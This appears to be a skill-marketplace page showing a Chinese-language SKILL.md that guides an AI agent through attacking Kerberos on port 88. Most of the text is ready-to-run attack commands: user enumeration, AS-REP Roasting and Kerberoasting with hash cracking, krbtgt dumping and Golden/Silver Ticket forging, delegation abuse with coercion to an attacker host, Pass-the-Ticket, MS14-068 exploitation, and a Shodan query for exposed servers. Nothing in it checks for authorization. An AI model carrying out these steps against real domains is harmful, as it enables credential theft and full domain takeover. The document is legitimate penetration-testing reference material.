Skip to main content

kerberos-pentesting

Kerberos 认证服务(88 端口)渗透测试方法论。涵盖 Kerberos 服务发现、用户名枚举、AS-REP Roasting、Kerberoasting、票据伪造(Golden/Silver Ticket)、委派攻击、Pass-the-Ticket。 当 Agent 扫描发现 88 端口开放、需要攻击 Kerberos 认证、提取服务票据、或进行票据伪造时,触发此 Skill。

Informations de source

Dépôt
wgpsec/AboutSecurity
Dernière activité de la source
15 octobre 2026 à 06:58
Langue détectée de SKILL.md
chinois
Étoiles
1 790
Forks
248

Options d'installation

Le prompt qui vérifie d'abord la source est sélectionné par défaut. Vous pouvez passer à une commande directe ou télécharger une copie locale.

Vérifiez les fichiers source

Lisez SKILL.md et les fichiers associés affichés par SkillsMP avant de décider de l'installer.

Explorateur de fichiers
2 fichiers

Affichage de SKILL.md

SKILL.md
Instructions source · Aperçu en lecture seule
name
kerberos-pentesting
description
Kerberos 认证服务(88 端口)渗透测试方法论。涵盖 Kerberos 服务发现、用户名枚举、AS-REP Roasting、Kerberoasting、票据伪造(Golden/Silver Ticket)、委派攻击、Pass-the-Ticket。 当 Agent 扫描发现 88 端口开放、需要攻击 Kerberos 认证、提取服务票据、或进行票据伪造时,触发此 Skill。
metadata
{"tags":"kerberos,88端口,kerberoasting,as-rep-roasting,golden-ticket,silver-ticket,票据伪造,impacket","category":"exploit"}
# Kerberos 渗透测试方法论 (88) ## 深入参考 - Kerberos 攻击命令大全(AS-REP Roasting / Kerberoasting / 票据伪造 / 委派攻击) -> 读 [references/kerberos-attacks.md](references/kerberos-attacks.md) --- ## 整体决策树 ``` 发现 88 端口开放 (Kerberos) ├─ Phase 1: 服务发现 │ ├─ 确认 Kerberos 服务版本 │ ├─ 确认域名 / Realm │ └─ 时钟同步检查 │ ├─ 偏差 > 5 分钟 -> 先同步时钟 │ └─ 已同步 -> 继续 ├─ Phase 2: 用户名枚举 │ ├─ 无凭据 -> Kerbrute / Nmap 枚举有效用户 │ └─ 有用户列表 -> 进入 Phase 3 ├─ Phase 3: AS-REP Roasting │ ├─ 查找未设置预认证的账户 │ │ ├─ 找到 -> 提取 AS-REP 哈希 -> 离线破解 │ │ └─ 未找到 -> 进入 Phase 4 ├─ Phase 4: Kerberoasting │ ├─ 需要有效域凭据 │ ├─ 查找注册 SPN 的服务账户 │ │ ├─ 找到 -> 请求 TGS -> 提取哈希 -> 离线破解 │ │ └─ 未找到 -> 进入 Phase 5 ├─ Phase 5: 票据伪造 │ ├─ 有 krbtgt 哈希 -> Golden Ticket (伪造 TGT) │ ├─ 有服务账户哈希 -> Silver Ticket (伪造 TGS) │ └─ 无足够材料 -> 进入 Phase 6 ├─ Phase 6: 委派攻击 │ ├─ 非约束委派 -> 提取 TGT │ ├─ 约束委派 -> S4U 协议滥用 │ └─ 基于资源的约束委派 (RBCD) -> 修改 msDS-AllowedToActOnBehalfOfOtherIdentity └─ Phase 7: Pass-the-Ticket ├─ 导入票据到当前会话 └─ 利用票据访问目标服务 ``` --- ## Phase 1: 服务发现 ### 1.1 端口扫描与服务识别 ```bash # Nmap Kerberos 服务探测 nmap -sV -sC -p 88 <IP> # Nmap Kerberos 枚举脚本 nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm="DOMAIN.LOCAL",userdb=users.txt <IP> ``` ### 1.2 域名与 Realm 确认 ``` 确认 Kerberos Realm ├─ DNS 查询 SRV 记录 │ └─ nslookup -type=SRV _kerberos._tcp.DOMAIN.LOCAL ├─ 从 SMB 服务获取域名 │ └─ crackmapexec smb <IP> └─ 从 LDAP 获取 Realm └─ ldapsearch -x -h <IP> -s base namingContexts ``` ### 1.3 环境准备 (时钟同步与 krb5.conf) ```bash # 时钟同步 — 偏差 > 5 分钟会导致 KRB_AP_ERR_SKEW sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst' # 生成 krb5.conf (netexec) netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf sudo cp krb5.conf /etc/krb5.conf # 手动 krb5.conf 最小配置 cat > /etc/krb5.conf << 'CONF' [libdefaults] default_realm = DOMAIN.LOCAL dns_lookup_realm = false dns_lookup_kdc = true [realms] DOMAIN.LOCAL = { kdc = dc.domain.local admin_server = dc.domain.local } [domain_realm] .domain.local = DOMAIN.LOCAL domain.local = DOMAIN.LOCAL CONF ``` **关键判断**: - 时钟偏差过大 -> 所有 Kerberos 操作都会失败,必须先同步 - `/etc/hosts` 必须正确解析 DC 的 FQDN -> SPN 不匹配会导致 GSSAPI 失败 - NTLM 被禁用时 -> SMB/WinRM 工具需加 `-k` 参数强制 Kerberos 认证 --- ## Phase 2: 用户名枚举 ### 2.1 枚举决策树 ``` 用户名枚举 (无需凭据) ├─ Kerbrute (推荐,速度快,日志低) │ ├─ kerbrute userenum --dc <DC_IP> -d DOMAIN.LOCAL users.txt │ └─ 原理: 发送 AS-REQ,根据响应区分有效/无效用户 │ ├─ KDC_ERR_PREAUTH_REQUIRED -> 用户存在 (需要预认证) │ ├─ KDC_ERR_CLIENT_REVOKED -> 用户存在但被禁用 │ └─ KDC_ERR_C_PRINCIPAL_UNKNOWN -> 用户不存在 ├─ Nmap 脚本 │ └─ nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="DOMAIN.LOCAL",userdb=users.txt <IP> └─ Metasploit └─ auxiliary/gather/kerberos_enumusers ├─ set DOMAIN DOMAIN.LOCAL ├─ set RHOSTS <DC_IP> └─ set USER_FILE users.txt ``` ### 2.2 常用用户名字典 ```bash # 内置字典 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt /usr/share/wordlists/dirb/others/names.txt # 从 OSINT 生成用户名 # 格式: firstname.lastname / f.lastname / firstnamelastname ``` --- ## Phase 3: AS-REP Roasting ### 3.1 攻击原理 当用户账户设置了 `DONT_REQUIRE_PREAUTH` 标志时,可以在不知道密码的情况下请求其 AS-REP 消息,其中包含可离线破解的加密数据。 ### 3.2 攻击决策树 ``` AS-REP Roasting ├─ 有域凭据 │ ├─ 查找目标: GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -dc-ip <DC_IP> │ ├─ LDAP 查询: (&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))) │ └─ BloodHound 标记: "Do not require Kerberos preauthentication" ├─ 无域凭据 │ └─ 对已枚举用户列表逐一尝试 │ └─ GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP> └─ 获得哈希后 -> 离线破解 ├─ hashcat -m 18200 asrep_hashes.txt wordlist.txt └─ john --wordlist=wordlist.txt asrep_hashes.txt ``` ### 3.3 Impacket GetNPUsers ```bash # 已知用户列表,无需密码 GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP> -format hashcat -outputfile asrep.txt # 有凭据,自动查找所有易受攻击用户 GetNPUsers.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -format hashcat -outputfile asrep.txt ``` ### 3.4 Rubeus (Windows 环境) ```powershell # 查找并攻击所有 AS-REP Roastable 用户 Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt # 指定用户 Rubeus.exe asreproast /user:targetuser /format:hashcat ``` --- ## Phase 4: Kerberoasting ### 4.1 攻击原理 任何经过认证的域用户都可以请求注册了 SPN (Service Principal Name) 的服务账户的 TGS 票据,该票据使用服务账户的 NTLM 哈希加密,可离线破解。 ### 4.2 攻击决策树 ``` Kerberoasting (需要有效域凭据) ├─ 查找注册 SPN 的账户 │ ├─ GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> │ ├─ LDAP: (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)) │ └─ PowerView: Get-DomainUser -SPN ├─ 请求 TGS 票据 │ ├─ GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -outputfile tgs.txt │ └─ Rubeus.exe kerberoast /outfile:tgs.txt ├─ 优先攻击目标 │ ├─ 高权限服务账户 (Domain Admins / 管理员组成员) │ ├─ RC4 加密的票据 (更易破解) │ │ └─ Rubeus.exe kerberoast /rc4opsec │ └─ 密码从未更改的账户 (pwdLastSet 很久以前) └─ 离线破解 ├─ hashcat -m 13100 tgs.txt wordlist.txt └─ john --wordlist=wordlist.txt tgs.txt ``` ### 4.3 Impacket GetUserSPNs ```bash # 列出所有 SPN 账户 GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> # 请求 TGS 并保存哈希 GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -outputfile kerberoast.txt # 使用 NTLM 哈希认证 GetUserSPNs.py DOMAIN.LOCAL/user -hashes <LM:NT> -dc-ip <DC_IP> -request ``` ### 4.4 Targeted Kerberoasting (无 SPN 时) ``` 如果目标用户无 SPN 但你有写 SPN 的权限 ├─ 设置 SPN: setspn -a MSSQLSvc/srv.domain.local:1433 targetuser ├─ 请求 TGS: GetUserSPNs.py ... ├─ 清理 SPN: setspn -d MSSQLSvc/srv.domain.local:1433 targetuser └─ 注意: 需要 GenericAll/GenericWrite 权限 ``` --- ## Phase 5: 票据伪造 ### 5.1 Golden Ticket (伪造 TGT) **前提**:拥有 `krbtgt` 账户的 NTLM 哈希(通常通过 DCSync 或 NTDS.dit 获取) ``` Golden Ticket 攻击流程 ├─ 收集信息 │ ├─ 域 SID: whoami /user (截取到 RID 之前) 或 lookupsid.py │ ├─ krbtgt NTLM 哈希: secretsdump.py DOMAIN/admin@<DC_IP> -just-dc-user krbtgt │ └─ 域名: DOMAIN.LOCAL ├─ 生成票据 │ ├─ Impacket: ticketer.py -nthash <krbtgt_hash> -domain-sid <SID> -domain DOMAIN.LOCAL Administrator │ └─ Mimikatz: kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:<SID> /krbtgt:<hash> /ptt ├─ 使用票据 │ ├─ export KRB5CCNAME=Administrator.ccache │ ├─ psexec.py -k -no-pass DOMAIN.LOCAL/Administrator@dc.domain.local │ └─ secretsdump.py -k -no-pass dc.domain.local └─ 特性 ├─ 有效期: 默认 10 年 ├─ 可伪造任意用户 (包括不存在的用户) └─ 跨域: 需要父域 krbtgt 哈希 ``` ### 5.2 Silver Ticket (伪造 TGS) **前提**:拥有目标服务账户的 NTLM 哈希 ``` Silver Ticket 攻击流程 ├─ 收集信息 │ ├─ 服务账户 NTLM 哈希 (例如 机器账户哈希) │ ├─ 目标 SPN (例如 CIFS/dc.domain.local) │ └─ 域 SID ├─ 生成票据 │ ├─ ticketer.py -nthash <service_hash> -domain-sid <SID> -domain DOMAIN.LOCAL -spn CIFS/dc.domain.local Administrator │ └─ Mimikatz: kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:<SID> /target:dc.domain.local /service:CIFS /rc4:<hash> /ptt ├─ 常见服务 SPN 对照 │ ├─ CIFS -> 文件共享 (SMB) │ ├─ HTTP -> Web 服务 / WinRM (WSMAN) │ ├─ LDAP -> LDAP 查询 / DCSync │ ├─ HOST -> 计划任务 / PsExec │ └─ MSSQLSvc -> MSSQL 数据库 └─ 特性 ├─ 不经过 KDC 验证 -> 更隐蔽 ├─ 仅对特定服务有效 └─ 机器账户密码变更后失效 (默认 30 天轮换) ``` --- ## Phase 6: 委派攻击 ### 6.1 委派类型决策树 ``` 委派攻击 ├─ 非约束委派 (Unconstrained Delegation) │ ├─ 发现: LDAP 查询 (userAccountControl:1.2.840.113556.1.4.803:=524288) │ │ └─ findDelegation.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> │ ├─ 攻击: 诱使高权限用户连接到受控主机 │ │ ├─ Printer Bug (SpoolSample): SpoolSample.exe <DC_IP> <ATTACKER_HOST> │ │ └─ PetitPotam: PetitPotam.py <ATTACKER_HOST> <DC_IP> │ └─ 提取: 从内存提取转发的 TGT │ └─ Rubeus.exe monitor /interval:5 /nowrap ├─ 约束委派 (Constrained Delegation) │ ├─ 发现: 查找 msDS-AllowedToDelegateTo 属性 │ │ └─ findDelegation.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> │ ├─ 攻击 (S4U): 利用 S4U2Self + S4U2Proxy │ │ ├─ getST.py -spn CIFS/target.domain.local DOMAIN.LOCAL/svc_account:password -impersonate Administrator -dc-ip <DC_IP> │ │ └─ export KRB5CCNAME=Administrator.ccache │ └─ 利用: 使用获得的票据访问目标服务 └─ 基于资源的约束委派 (RBCD) ├─ 前提: 对目标有 GenericWrite / WriteDacl 权限 ├─ 攻击流程 │ ├─ 1) 创建或控制一个机器账户 (addcomputer.py) │ ├─ 2) 修改目标的 msDS-AllowedToActOnBehalfOfOtherIdentity │ │ └─ rbcd.py -delegate-from CONTROLLED$ -delegate-to TARGET$ -action write DOMAIN.LOCAL/user:password -dc-ip <DC_IP> │ ├─ 3) S4U 获取票据 │ │ └─ getST.py -spn CIFS/target.domain.local DOMAIN.LOCAL/CONTROLLED$:password -impersonate Administrator -dc-ip <DC_IP> │ └─ 4) 使用票据 │ └─ export KRB5CCNAME=Administrator.ccache └─ 清理: 移除 RBCD 配置 └─ rbcd.py -delegate-from CONTROLLED$ -delegate-to TARGET$ -action remove DOMAIN.LOCAL/user:password -dc-ip <DC_IP> ``` --- ## Phase 7: Pass-the-Ticket ### 7.1 票据操作 ``` Pass-the-Ticket ├─ 获取票据 │ ├─ 导出当前会话票据 (Windows) │ │ ├─ Mimikatz: sekurlsa::tickets /export │ │ └─ Rubeus.exe dump /nowrap │ ├─ 从 LSASS 提取 │ │ └─ Mimikatz: sekurlsa::logonpasswords │ └─ 从 ccache 文件 (Linux) │ └─ 默认位置: /tmp/krb5cc_<UID> ├─ 导入票据 │ ├─ Linux │ │ └─ export KRB5CCNAME=/path/to/ticket.ccache │ ├─ Windows │ │ ├─ Mimikatz: kerberos::ptt <ticket.kirbi> │ │ └─ Rubeus.exe ptt /ticket:<base64_ticket> │ └─ 格式转换 │ ├─ kirbi -> ccache: ticketConverter.py ticket.kirbi ticket.ccache │ └─ ccache -> kirbi: ticketConverter.py ticket.ccache ticket.kirbi ├─ 使用票据访问服务 │ ├─ psexec.py -k -no-pass DOMAIN.LOCAL/user@target.domain.local │ ├─ smbclient --kerberos //target.domain.local/C$ │ ├─ wmiexec.py -k -no-pass DOMAIN.LOCAL/user@target.domain.local │ └─ netexec smb target.domain.local -k └─ 验证当前票据 ├─ Linux: klist └─ Windows: klist (系统命令) ``` ### 7.2 Kerberos 认证使用 SMB 工具 ```bash # 获取 TGT kinit <user> klist # netexec / crackmapexec Kerberos 认证 netexec smb <dc.fqdn> -k # Impacket 工具使用缓存票据 (-k -no-pass) psexec.py -k -no-pass DOMAIN.LOCAL/Administrator@dc.domain.local secretsdump.py -k -no-pass dc.domain.local # SSH GSSAPI 单点登录 ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn> ``` --- ## 已知漏洞 ### MS14-068 (CVE-2014-6324) ``` MS14-068 — PAC 伪造提权 ├─ 影响: 普通域用户可伪造为域管理员 ├─ 检测: 未打补丁的 Windows Server 2003-2012R2 ├─ 利用 │ ├─ pykek: python ms14-068.py -u user@DOMAIN.LOCAL -p password -s <USER_SID> -d <DC_IP> │ └─ goldenPac.py DOMAIN.LOCAL/user:password@dc.domain.local └─ 修复: KB3011780 补丁 ``` ### Shodan 搜索 ``` port:88 kerberos ``` --- ## 故障排除 | 错误信息 | 原因 | 解决方案 | |---------|------|---------| | `KRB_AP_ERR_SKEW` | 时钟偏差过大 | `sudo ntpdate <dc.fqdn>` | | `KDC_ERR_C_PRINCIPAL_UNKNOWN` | 用户不存在 | 检查用户名和 Realm | | `KDC_ERR_PREAUTH_FAILED` | 密码错误 | 检查凭据 | | `Server not found in Kerberos database` | SPN 不匹配 | 检查 `/etc/hosts` 和 FQDN | | `STATUS_NOT_SUPPORTED` | NTLM 被禁用 | 添加 `-k` 参数使用 Kerberos | | `KRB_ERR_RESPONSE_TOO_BIG` | UDP 响应过大 | 配置 krb5.conf 使用 TCP: `udp_preference_limit = 1` |
Voir sur GitHub